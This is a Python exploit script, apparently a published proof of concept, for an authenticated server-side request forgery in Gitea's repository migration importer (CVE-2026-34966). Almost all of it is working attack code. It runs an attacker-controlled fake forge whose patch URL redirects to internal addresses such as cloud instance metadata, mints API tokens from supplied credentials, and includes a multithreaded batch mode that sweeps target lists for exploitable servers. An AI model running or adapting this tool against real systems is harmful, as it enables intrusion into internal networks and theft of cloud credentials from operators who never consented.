📄 Gitea 1.26.4 Server-Side Request Forgery

#!/usr/bin/env python3
    """
    CVE-2026-34966 - Gitea authenticated SSRF via unvalidated migration fetches
    Affected: Gitea <= 1.26.4 (fixed in 1.27.0)
    Type: SSRF (CWE-918)
    
    Gitea's migration importer downloads a pull request's patch with Go's default
    http.Client (uri.Open -> http.Get), which has no DialContext and therefore
    consults none of the migration host allow/block list. The origin check that
    guards the patch URL (CheckAndEnsureSafePR / hasBaseURL) is a one-shot string
    prefix test that runs before any request is issued, so an ordinary patch_url on
    an allowed host that answers with a 302 to an internal address is followed with
    no per-hop validation. The result is a server-side request to any host the
    operator's allow-list is supposed to fence off (loopback, private ranges, cloud
    instance-metadata), from an authenticated account permitted to run a migration.
    
    How this tool delivers the attack:
      The exploit stands up its own throwaway "forge": the small subset of the Gitea
      API v1 that the migration downloader touches, a real git repository over smart
      HTTP so the mandatory `git clone --mirror` succeeds, and a /patch/<token>
      endpoint that 302-redirects to the URL you choose. It then asks the target to
      migrate a repository from that forge with the Pull Requests unit enabled. The
      target fetches the patch, follows the redirect, and issues the forged request.
    
    Success, observed purely over the network:
      1. Control: the same internal URL submitted directly as the migration source is
         refused by IsMigrateURLAllowed (HTTP 422, "disallowed hosts").
      2. Forged: the migration whose patch redirects to that same internal URL
         COMPLETES on a vulnerable build (the server-side fetch reached the target and
         answered) and FAILS on a patched build (the redirect hop is blocked at dial
         time). The migration outcome is the oracle.
      3. Corroboration: the forge's own request log records the target connecting to
         /patch/<token> and being redirected toward the internal URL - a server-side
         request reaching an attacker-controlled endpoint.
    
    Usage:
      # default: run our own forge, target must be able to reach it and allow-list it
      python exploit.py --host https://gitea.corp.com --token <api-token> \
          --forge-host 203.0.113.10:8080 --ssrf-url http://169.254.169.254/latest/meta-data/
    
      python exploit.py --host 10.0.0.5 --port 3000 --username admin --password s3cret \
          --ssrf-url http://127.0.0.1:9000/
    
      # use a forge you are already running elsewhere
      python exploit.py --host gitea.corp.com --token <t> \
          --forge-url http://forge.example.test:8080 --forge-external \
          --ssrf-url http://127.0.0.1:9000/
    
      # batch scan an asset list
      python exploit.py --list targets.txt --workers 20 --token <t> \
          --forge-host 203.0.113.10:8080 --ssrf-url http://127.0.0.1:9000/
    """
    
    import argparse
    import base64
    import json
    import os
    import re
    import secrets
    import shutil
    import socket
    import ssl
    import subprocess
    import sys
    import tempfile
    import threading
    import time
    from datetime import datetime, timezone
    from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
    from urllib.parse import urlparse, quote
    import urllib.request
    import urllib.error
    
    CVE_ID    = "CVE-2026-34966"
    VULN_TYPE = "SSRF"
    
    
    # --------------------------------------------------------------------------- #
    #  Standard output helpers                                                     #
    # --------------------------------------------------------------------------- #
    
    def header(host, port):
        print("\n" + "=" * 60)
        print("  ALIM EXPLOIT  %s" % CVE_ID)
        print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
        print("=" * 60 + "\n")
    
    
    def step(n, msg):
        print("[STEP %d] %s" % (n, msg))
    
    
    def section(label, content):
        print("\n--- %s ---" % label)
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print("\n" + "=" * 60)
        print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
        print("  EVIDENCE: %s" % evidence)
        print("=" * 60 + "\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Minimal HTTP client (stdlib only) for talking to the target Gitea          #
    # --------------------------------------------------------------------------- #
    
    def _http(method, url, headers=None, body=None, timeout=30, auth=None):
        """Return (status, text, headers_dict). Never raises on an HTTP status code."""
        data = None
        hdrs = dict(headers or {})
        if body is not None:
            if isinstance(body, (dict, list)):
                data = json.dumps(body).encode()
                hdrs.setdefault("Content-Type", "application/json")
            elif isinstance(body, str):
                data = body.encode()
            else:
                data = body
        if auth is not None:
            raw = ("%s:%s" % (auth[0], auth[1])).encode()
            hdrs["Authorization"] = "Basic " + base64.b64encode(raw).decode()
    
        req = urllib.request.Request(url, data=data, headers=hdrs, method=method)
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
            text = resp.read().decode("utf-8", "replace")
            return resp.getcode(), text, dict(resp.headers)
        except urllib.error.HTTPError as e:
            text = e.read().decode("utf-8", "replace")
            return e.code, text, dict(e.headers or {})
    
    
    def _base_url(host, port, use_tls, path="/"):
        scheme = "https" if use_tls else "http"
        netloc = host
        default = 443 if use_tls else 80
        if port and port != default:
            netloc = "%s:%d" % (host, port)
        return "%s://%s" % (scheme, netloc)
    
    
    # --------------------------------------------------------------------------- #
    #  The forge the target migrates from                                         #
    # --------------------------------------------------------------------------- #
    #
    #  Redirect-steering contract, shared by the embedded forge and any external
    #  forge built to the same convention: the migration's clone_addr repo name is
    #  "b64-<base64url(redirect_target)>". The forge advertises a pull request whose
    #  patch_url is /patch/<repo>, and /patch/b64-... answers 302 Location:
    #  <decoded redirect_target>. So the redirect target is chosen per attempt from
    #  the clone address alone and the forge never needs reconfiguring.
    
    def encode_redirect(target):
        return "b64-" + base64.urlsafe_b64encode(target.encode()).decode().rstrip("=")
    
    
    def decode_redirect(token):
        if not token.startswith("b64-"):
            return None
        raw = token[4:]
        raw += "=" * (-len(raw) % 4)
        try:
            return base64.urlsafe_b64decode(raw.encode()).decode()
        except (ValueError, UnicodeDecodeError):
            return None
    
    
    def _find_git_http_backend():
        env = os.environ.get("GIT_HTTP_BACKEND")
        if env and os.path.exists(env):
            return env
        try:
            exec_path = subprocess.run(["git", "--exec-path"], capture_output=True,
                                       text=True, timeout=10).stdout.strip()
            cand = os.path.join(exec_path, "git-http-backend")
            if os.path.exists(cand):
                return cand
        except (OSError, subprocess.SubprocessError):
            pass
        for cand in ("/usr/libexec/git-core/git-http-backend",
                     "/usr/lib/git-core/git-http-backend",
                     "/Library/Developer/CommandLineTools/usr/libexec/git-core/git-http-backend"):
            if os.path.exists(cand):
                return cand
        return None
    
    
    def _build_seed_repo(git_root):
        """Create a bare repo with a main and a feat branch so clone --mirror works."""
        bare = os.path.join(git_root, "repo.git")
        work = os.path.join(git_root, "_work")
        env = dict(os.environ)
        env.update({
            "GIT_AUTHOR_NAME": "dev", "GIT_AUTHOR_EMAIL": "[email protected]",
            "GIT_COMMITTER_NAME": "dev", "GIT_COMMITTER_EMAIL": "[email protected]",
        })
    
        def g(args, cwd):
            subprocess.run(["git"] + args, cwd=cwd, env=env, check=True,
                           capture_output=True, timeout=60)
    
        subprocess.run(["git", "init", "-q", "--bare", bare], env=env, check=True,
                       capture_output=True, timeout=60)
        os.makedirs(work, exist_ok=True)
        g(["init", "-q"], work)
        g(["checkout", "-q", "-b", "main"], work)
        with open(os.path.join(work, "README"), "w") as fh:
            fh.write("seed\n")
        g(["add", "-A"], work)
        g(["commit", "-q", "-m", "init"], work)
        g(["checkout", "-q", "-b", "feat"], work)
        with open(os.path.join(work, "feature"), "w") as fh:
            fh.write("feature\n")
        g(["add", "-A"], work)
        g(["commit", "-q", "-m", "feat"], work)
        g(["push", "-q", bare, "main", "feat"], work)
        subprocess.run(["git", "--git-dir", bare, "update-server-info"], env=env,
                       check=True, capture_output=True, timeout=60)
        return bare
    
    
    def _git_sha(bare, ref):
        try:
            out = subprocess.run(["git", "--git-dir", bare, "rev-parse", ref],
                                 capture_output=True, text=True, timeout=10)
            sha = out.stdout.strip()
            if re.fullmatch(r"[0-9a-f]{40}", sha):
                return sha
        except (OSError, subprocess.SubprocessError):
            pass
        return "0" * 40
    
    
    class EmbeddedForge:
        """In-process stand-in for a remote Gitea instance. Attacker-controlled."""
    
        API_REPO_RE = re.compile(r"^/api/v1/repos/(?P<owner>[^/]+)/(?P<repo>[^/]+)(?P<rest>/.*)?$")
        GIT_PATH_RE = re.compile(r"^/(?P<owner>[^/]+)/(?P<repo>[^/]+)\.git(?P<rest>/.*)?$")
    
        def __init__(self, bind_host, bind_port, public_hostport):
            self.bind_host = bind_host
            self.bind_port = bind_port
            self.public = public_hostport            # host:port the target uses
            self.base = "http://" + public_hostport
            self.records = []
            self._lock = threading.Lock()
            self._tmp = tempfile.mkdtemp(prefix="poc_forge_")
            self._backend = _find_git_http_backend()
            if not self._backend:
                raise RuntimeError("git-http-backend not found; install git or set GIT_HTTP_BACKEND")
            self._bare = _build_seed_repo(self._tmp)
            self.base_sha = _git_sha(self._bare, "main")
            self.head_sha = _git_sha(self._bare, "feat")
            self._httpd = None
            self._thread = None
    
        # -- log ------------------------------------------------------------- #
        def record(self, line):
            stamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S.%fZ")
            with self._lock:
                self.records.append("%s %s" % (stamp, line))
    
        def log_contains(self, needle):
            with self._lock:
                return any(needle in r for r in self.records)
    
        def log_text(self):
            with self._lock:
                return "\n".join(self.records)
    
        # -- lifecycle ------------------------------------------------------- #
        def start(self):
            forge = self
    
            class Handler(BaseHTTPRequestHandler):
                protocol_version = "HTTP/1.1"
                server_version = "forge"
                sys_version = ""
    
                def log_message(self, *a):
                    pass
    
                def _send(self, code, body=b"", ctype="application/json", extra=None):
                    if isinstance(body, str):
                        body = body.encode()
                    self.send_response(code)
                    self.send_header("Content-Type", ctype)
                    self.send_header("Content-Length", str(len(body)))
                    for k, v in (extra or {}).items():
                        self.send_header(k, v)
                    self.end_headers()
                    if self.command != "HEAD":
                        self.wfile.write(body)
    
                def _json(self, obj, code=200):
                    self._send(code, json.dumps(obj), "application/json")
    
                def do_GET(self):
                    forge._route(self)
    
                def do_HEAD(self):
                    forge._route(self)
    
                def do_POST(self):
                    forge._route(self)
    
            self._httpd = ThreadingHTTPServer((self.bind_host, self.bind_port), Handler)
            self._thread = threading.Thread(target=self._httpd.serve_forever, daemon=True)
            self._thread.start()
            return self
    
        def stop(self):
            try:
                if self._httpd:
                    self._httpd.shutdown()
            finally:
                shutil.rmtree(self._tmp, ignore_errors=True)
    
        # -- routing --------------------------------------------------------- #
        def _route(self, h):
            parsed = urlparse(h.path)
            path, query = parsed.path, parsed.query
            self.record("%s %s from=%s" % (h.command, h.path, h.client_address[0]))
    
            if path == "/_ctl/health":
                return h._send(200, "ok\n", "text/plain")
            if path == "/_ctl/log":
                return h._send(200, self.log_text() + "\n", "text/plain")
    
            if path.startswith("/patch/"):
                token = path[len("/patch/"):]
                target = decode_redirect(token)
                if target is None:
                    return h._send(404, "no target\n", "text/plain")
                self.record("redirect /patch/%s -> %s" % (token, target))
                return h._send(302, b"", "text/plain", {"Location": target})
    
            if path.startswith("/api/v1/"):
                return self._api(h, path, query)
    
            if self.GIT_PATH_RE.match(path):
                return self._git(h, path, query)
    
            return h._send(404, "not found\n", "text/plain")
    
        # -- Gitea API v1 subset --------------------------------------------- #
        def _user(self, login, uid):
            return {
                "id": uid, "login": login, "login_name": "", "source_id": 0,
                "full_name": login, "email": "%[email protected]" % login,
                "avatar_url": "%s/avatars/%s" % (self.base, login),
                "html_url": "%s/%s" % (self.base, login), "language": "en-US",
                "is_admin": False, "last_login": "2026-01-01T00:00:00Z",
                "created": "2026-01-01T00:00:00Z", "restricted": False, "active": True,
                "prohibit_login": False, "location": "", "website": "", "description": "",
                "visibility": "public", "followers_count": 0, "following_count": 0,
                "starred_repos_count": 0,
            }
    
        def _repo(self, owner, repo):
            full = "%s/%s" % (owner, repo)
            return {
                "id": 1, "owner": self._user(owner, 1), "name": repo, "full_name": full,
                "description": "", "empty": False, "private": False, "fork": False,
                "template": False, "parent": None, "mirror": False, "size": 8,
                "language": "", "languages_url": "%s/api/v1/repos/%s/languages" % (self.base, full),
                "html_url": "%s/%s" % (self.base, full), "url": "%s/api/v1/repos/%s" % (self.base, full),
                "link": "", "ssh_url": "", "clone_url": "%s/%s.git" % (self.base, full),
                "original_url": "", "website": "", "stars_count": 0, "forks_count": 0,
                "watchers_count": 0, "open_issues_count": 0, "open_pr_counter": 1,
                "release_counter": 0, "default_branch": "main", "archived": False,
                "archived_at": "1970-01-01T00:00:00Z", "created_at": "2026-01-01T00:00:00Z",
                "updated_at": "2026-01-01T00:00:00Z", "has_issues": True, "has_code": True,
                "has_wiki": False, "has_pull_requests": True, "has_projects": False,
                "ignore_whitespace_conflicts": False, "allow_fast_forward_only_merge": False,
                "allow_merge_commits": True, "allow_rebase": True, "allow_rebase_explicit": True,
                "allow_rebase_update": True, "allow_squash_merge": True,
                "default_allow_maintainer_edit": False, "avatar_url": "", "internal": False,
                "mirror_interval": "", "default_merge_style": "merge", "projects_mode": "all",
                "default_delete_branch_after_merge": False, "object_format_name": "sha1",
                "topics": [], "licenses": [],
            }
    
        def _pull(self, owner, repo):
            full = "%s/%s" % (owner, repo)
            return {
                "id": 1, "url": "%s/api/v1/repos/%s/pulls/1" % (self.base, full), "number": 1,
                "user": self._user("devuser", 2), "title": "Add a feature", "body": "",
                "labels": [], "milestone": None, "assignee": None, "assignees": [],
                "requested_reviewers": [], "requested_reviewers_teams": [], "state": "open",
                "draft": False, "is_locked": False, "comments": 0,
                "html_url": "%s/%s/pulls/1" % (self.base, full),
                "diff_url": "%s/%s/pulls/1.diff" % (self.base, full),
                "patch_url": "%s/patch/%s" % (self.base, repo),
                "mergeable": True, "merged": False, "merged_at": None,
                "merge_commit_sha": None, "merged_by": None, "allow_maintainer_edit": False,
                "base": {"label": "main", "ref": "main", "sha": self.base_sha, "repo_id": 1, "repo": None},
                "head": {"label": "feat", "ref": "feat", "sha": self.head_sha, "repo_id": 1, "repo": None},
                "merge_base": "", "due_date": None, "created_at": "2026-01-01T00:00:00Z",
                "updated_at": "2026-01-01T00:00:00Z", "closed_at": None, "pin_order": 0,
            }
    
        def _api(self, h, path, query):
            if path == "/api/v1/version":
                return h._json({"version": "1.24.0"})
            if path == "/api/v1/settings/api":
                return h._json({"max_response_items": 50, "default_paging_num": 30,
                                "default_git_trees_per_page": 1000, "default_max_blob_size": 10485760})
            m = self.API_REPO_RE.match(path)
            if not m:
                return h._json([])
            owner, repo, rest = m.group("owner"), m.group("repo"), m.group("rest") or ""
            if rest == "":
                return h._json(self._repo(owner, repo))
            if rest == "/topics":
                return h._json({"topics": []})
            if rest == "/pulls":
                page = 1
                for part in query.split("&"):
                    if part.startswith("page="):
                        try:
                            page = int(part[len("page="):])
                        except ValueError:
                            page = 1
                return h._json([self._pull(owner, repo)] if page <= 1 else [])
            return h._json([])
    
        # -- git smart HTTP -------------------------------------------------- #
        def _git(self, h, path, query):
            m = self.GIT_PATH_RE.match(path)
            rest = m.group("rest") or "/"
            path_info = "/repo.git" + rest
            body = b""
            length = h.headers.get("Content-Length")
            if length:
                body = h.rfile.read(int(length))
            env = {
                "PATH": os.environ.get("PATH", "/usr/bin:/bin"),
                "GIT_PROJECT_ROOT": self._tmp,
                "GIT_HTTP_EXPORT_ALL": "1",
                "REQUEST_METHOD": h.command,
                "PATH_INFO": path_info,
                "QUERY_STRING": query,
                "REMOTE_ADDR": h.client_address[0],
                "REMOTE_USER": "anonymous",
                "CONTENT_TYPE": h.headers.get("Content-Type", ""),
                "CONTENT_LENGTH": length or "",
                "HTTP_CONTENT_ENCODING": h.headers.get("Content-Encoding", ""),
                "SERVER_PROTOCOL": "HTTP/1.1",
                "GIT_HTTP_MAX_REQUEST_BUFFER": "100M",
            }
            try:
                proc = subprocess.run([self._backend], input=body, env=env,
                                      capture_output=True, timeout=120)
            except (OSError, subprocess.SubprocessError) as exc:
                self.record("git http-backend failed: %s" % exc)
                return h._send(500, "backend error\n", "text/plain")
            raw = proc.stdout
            split = raw.find(b"\r\n\r\n")
            sep = 4
            if split == -1:
                split = raw.find(b"\n\n")
                sep = 2
            if split == -1:
                return h._send(500, "malformed backend response\n", "text/plain")
            head, payload = raw[:split], raw[split + sep:]
            status, out_headers = 200, []
            for line in head.replace(b"\r\n", b"\n").split(b"\n"):
                if not line:
                    continue
                name, _, value = line.decode("latin-1").partition(":")
                value = value.strip()
                if name.lower() == "status":
                    status = int(value.split()[0])
                else:
                    out_headers.append((name, value))
            h.send_response(status)
            for name, value in out_headers:
                h.send_header(name, value)
            h.send_header("Content-Length", str(len(payload)))
            h.end_headers()
            if h.command != "HEAD":
                h.wfile.write(payload)
    
    
    class ExternalForge:
        """A forge already running elsewhere, built to the same redirect contract."""
    
        def __init__(self, forge_url, log_url=None):
            self.base = forge_url.rstrip("/")
            self.public = urlparse(self.base).netloc
            self._log_url = log_url or (self.base + "/_ctl/log")
    
        def start(self):
            return self
    
        def stop(self):
            pass
    
        def log_text(self):
            try:
                _, text, _ = _http("GET", self._log_url, timeout=15)
                return text
            except Exception:
                return ""
    
        def log_contains(self, needle):
            return needle in self.log_text()
    
    
    def _local_ip():
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(("203.0.113.1", 9))
            return s.getsockname()[0]
        except Exception:
            return "127.0.0.1"
        finally:
            s.close()
    
    
    # --------------------------------------------------------------------------- #
    #  Target interaction                                                         #
    # --------------------------------------------------------------------------- #
    
    def _obtain_token(base, username, password, timeout):
        """Create a scoped API token via basic auth. Returns the sha1 or None."""
        tname = "svc_%s" % secrets.token_hex(6)
        url = "%s/api/v1/users/%s/tokens" % (base, quote(username, safe=""))
        body = {"name": tname, "scopes": ["write:repository"]}
        code, text, _ = _http("POST", url, body=body, timeout=timeout, auth=(username, password))
        if code in (200, 201):
            try:
                return json.loads(text).get("sha1")
            except ValueError:
                return None
        return None
    
    
    def _migrate(base, token, clone_addr, repo_name, repo_owner, timeout):
        url = "%s/api/v1/repos/migrate" % base
        body = {
            "clone_addr": clone_addr, "repo_name": repo_name, "repo_owner": repo_owner,
            "service": "gitea", "pull_requests": True, "issues": False, "labels": False,
            "milestones": False, "releases": False, "wiki": False,
        }
        return _http("POST", url, headers={"Authorization": "token %s" % token},
                     body=body, timeout=timeout)
    
    
    def _delete_repo(base, token, owner, name, timeout=20):
        url = "%s/api/v1/repos/%s/%s" % (base, quote(owner, safe=""), quote(name, safe=""))
        try:
            _http("DELETE", url, headers={"Authorization": "token %s" % token}, timeout=timeout)
        except Exception:
            pass
    
    
    def _run_once(base, token, forge, ssrf_url, owner, timeout):
        """Drive one control+forged pair against a single target.
    
        Returns dict: control_refused, migrate_code, migrate_body, redirect_target,
        forge_saw_redirect, token_repo.
        """
        nonce = secrets.token_hex(6)
        target = ssrf_url
        if target.endswith("/"):
            target = target + nonce                  # unique path per attempt
        repo_token = encode_redirect(target)
    
        # 1. Control: submit the internal URL directly - the allow-list should refuse it.
        ctl_name = "tmp-%s" % secrets.token_hex(5)
        ctl_code, ctl_text, _ = _migrate(base, token, ssrf_url.rstrip("/") + "/x/y.git",
                                         ctl_name, owner, timeout=min(timeout, 40))
        control_refused = ctl_code == 422
        _delete_repo(base, token, owner, ctl_name)
    
        # 2. Forged: migrate from the forge; its patch redirects to the internal URL.
        clone_addr = "%s/o/%s.git" % (forge.base, repo_token)
        repo_name = "tmp-%s" % secrets.token_hex(5)
        code, text, _ = _migrate(base, token, clone_addr, repo_name, owner, timeout=timeout)
    
        time.sleep(1.0)
        saw = forge.log_contains("/patch/%s" % repo_token) or forge.log_contains(target)
    
        _delete_repo(base, token, owner, repo_name)
    
        return {
            "nonce": nonce, "redirect_target": target, "token_repo": repo_token,
            "control_refused": control_refused, "control_code": ctl_code,
            "control_body": ctl_text[:200], "migrate_code": code, "migrate_body": text[:200],
            "forge_saw_redirect": saw,
        }
    
    
    def _verdict(r):
        """(success, short_evidence) from a _run_once result."""
        completed = r["migrate_code"] in (200, 201)
        if completed and r["forge_saw_redirect"]:
            base = ("migration completed via forge redirect to %s" % r["redirect_target"])
            if r["control_refused"]:
                return True, base + "; same host refused directly (HTTP 422) - allow-list bypassed"
            return True, base + " (note: control not refused - host may be unguarded)"
        if r["forge_saw_redirect"] and not completed:
            return False, ("patch fetched and redirected but migration failed "
                           "(HTTP %s) - redirect hop blocked (patched) or target closed"
                           % r["migrate_code"])
        if not r["forge_saw_redirect"]:
            return False, ("forge never saw the patch fetch (migrate HTTP %s) - "
                           "migration did not reach the pull-request unit" % r["migrate_code"])
        return False, "no exploitation evidence (migrate HTTP %s)" % r["migrate_code"]
    
    
    # --------------------------------------------------------------------------- #
    #  Forge acquisition (shared by single and scan modes)                        #
    # --------------------------------------------------------------------------- #
    
    def _acquire_forge(args):
        if args.forge_external or args.forge_url:
            if not args.forge_url:
                raise SystemExit("--forge-external requires --forge-url")
            return ExternalForge(args.forge_url, args.forge_log_url).start()
        host = args.forge_host or ("%s:%d" % (_local_ip(), args.forge_port))
        if ":" in host:
            _, p = host.rsplit(":", 1)
            bind_port = int(p)
        else:
            bind_port = args.forge_port
            host = "%s:%d" % (host, bind_port)
        return EmbeddedForge(args.forge_bind, bind_port, host).start()
    
    
    def _resolve_token(base, args, timeout=30):
        if args.token:
            return args.token
        if args.username and args.password:
            return _obtain_token(base, args.username, args.password, timeout)
        return None
    
    
    # --------------------------------------------------------------------------- #
    #  Scan mode                                                                   #
    # --------------------------------------------------------------------------- #
    
    def _try_exploit(host, port, use_tls, path="/", forge=None, args=None):
        """Silent probe for --list. Returns (success, evidence). Never prints/exits."""
        try:
            base = _base_url(host, port, use_tls, path)
            token = _resolve_token(base, args, timeout=20)
            if not token:
                return False, "no credentials (need --token or --username/--password)"
            r = _run_once(base, token, forge, args.ssrf_url, args.repo_owner, timeout=120)
            return _verdict(r)
        except Exception as e:
            return False, "unreachable (%s)" % e.__class__.__name__
    
    
    def _parse_target(line, default_port, default_path="/"):
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers, forge, args):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print("\n" + "=" * 60)
        print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
        print("=" * 60 + "\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
            ok, evidence = _try_exploit(host, port, use_tls, path, forge=forge, args=args)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                            "Exploited" if ok else "Not vulnerable", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print("\n" + "=" * 60)
        print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
              % (success_count, total - success_count, total))
        print("=" * 60 + "\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Single-target exploit                                                       #
    # --------------------------------------------------------------------------- #
    
    def exploit(host, port, use_tls, path, forge, args):
        header(host, port)
        base = _base_url(host, port, use_tls, path)
    
        step(1, "Target %s | forge advertised to target as %s" % (base, forge.base))
        step(2, "Obtaining an API token (scope write:repository)")
        token = _resolve_token(base, args)
        if not token:
            section("AUTH", "could not obtain a token")
            done(False, "authentication failed - supply --token or --username/--password")
        print("        token acquired: %s..." % token[:8])
    
        step(3, "Control - submitting the internal URL directly as the migration source")
        step(4, "Forged - migrating from the forge, patch redirects to %s" % args.ssrf_url)
        r = _run_once(base, token, forge, args.ssrf_url, args.repo_owner, timeout=240)
    
        section("CONTROL (direct submission of %s)" % args.ssrf_url,
                "HTTP %s: %s" % (r["control_code"], r["control_body"]))
        section("FORGED MIGRATION",
                "HTTP %s: %s" % (r["migrate_code"], r["migrate_body"]))
    
        log_lines = [ln for ln in forge.log_text().splitlines()
                     if r["token_repo"] in ln or r["redirect_target"] in ln]
        if log_lines:
            section("FORGE REQUEST LOG (server-side request reaching our endpoint)",
                    "\n".join(log_lines[-6:]))
    
        success, evidence = _verdict(r)
        done(success, evidence)
    
    
    # --------------------------------------------------------------------------- #
    #  Entry point                                                                 #
    # --------------------------------------------------------------------------- #
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (https://host:3000/path)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
    
        # SSRF class argument
        parser.add_argument("--ssrf-url", default="http://127.0.0.1/",
                            help="URL the server is made to request (default: http://127.0.0.1/). "
                                 "Point at an internal service, loopback port, or cloud metadata IP. "
                                 "A trailing slash gets a per-attempt nonce appended for correlation.")
    
        # Authentication (SSRF here is authenticated)
        parser.add_argument("--token", help="Gitea API token (scope write:repository)")
        parser.add_argument("--username", help="Account username (used with --password to mint a token)")
        parser.add_argument("--password", help="Account password")
        parser.add_argument("--repo-owner", default=None, help="Owner for the temporary migrated repo (default: --username)")
    
        # Forge configuration
        parser.add_argument("--forge-host", help="host:port the TARGET uses to reach our forge (default: autodetected local IP)")
        parser.add_argument("--forge-bind", default="0.0.0.0", help="Address our embedded forge binds to (default: 0.0.0.0)")
        parser.add_argument("--forge-port", type=int, default=8080, help="Port our embedded forge listens on (default: 8080)")
        parser.add_argument("--forge-url", help="Use an already-running forge at this URL instead of embedding one")
        parser.add_argument("--forge-external", action="store_true", help="Do not start an embedded forge; requires --forge-url")
        parser.add_argument("--forge-log-url", help="Where to read the external forge's request log (default: <forge-url>/_ctl/log)")
    
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if not args.repo_owner:
            args.repo_owner = args.username or "root"
    
        forge = _acquire_forge(args)
        try:
            if args.list:
                scan(args.list, default_port=args.port, workers=args.workers, forge=forge, args=args)
            else:
                parsed = _parse_target(args.host, args.port)
                host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
                if args.tls:
                    use_tls = True
                if args.no_tls:
                    use_tls = False
                exploit(host, port, use_tls, path, forge, args)
        finally:
            forge.stop()